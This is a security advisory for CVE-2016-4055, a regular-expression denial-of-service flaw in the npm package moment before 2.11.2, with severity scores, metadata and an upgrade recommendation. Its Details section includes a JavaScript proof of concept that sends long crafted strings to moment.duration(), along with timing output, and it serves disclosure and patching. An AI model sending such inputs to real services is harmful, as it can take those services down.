CVE-2016-4055 – moment

Package

Manager: npm
Name: moment
Vulnerable Version: >=0 <2.11.2

Severity

Level: Medium

CVSS v3.1: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS: 0.03453 pctl0.87062

Details

Regular Expression Denial of Service in moment Versions of `moment` prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into `moment.duration()`. ## Proof of concept ``` var moment = require('moment'); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; } return result; } for (i=20000;i<=10000000;i=i+10000) { console.log("COUNT: " + i); var str = '-' + genstr(i, '1') console.log("LENGTH: " + str.length); var start = process.hrtime(); moment.duration(str) var end = process.hrtime(start); console.log(end); } ``` ### Results ``` $ node moment.js COUNT: 20000 LENGTH: 20002 [ 0, 618931029 ] COUNT: 30001 LENGTH: 30003 [ 1, 401413894 ] COUNT: 40002 LENGTH: 40004 [ 2, 437075303 ] COUNT: 50003 LENGTH: 50005 [ 3, 824664804 ] COUNT: 60004 LENGTH: 60006 [ 5, 651335262 ] ``` ## Recommendation Please update to version 2.11.2 or later.

Metadata

Created: 2017-10-24T18:33:35Z
Modified: 2022-06-07T14:31:25Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2017/10/GHSA-87vv-r9j6-g5qv/GHSA-87vv-r9j6-g5qv.json
CWE IDs: ["CWE-400"]
Alternative ID: GHSA-87vv-r9j6-g5qv
Finding: F002
Auto approve: 1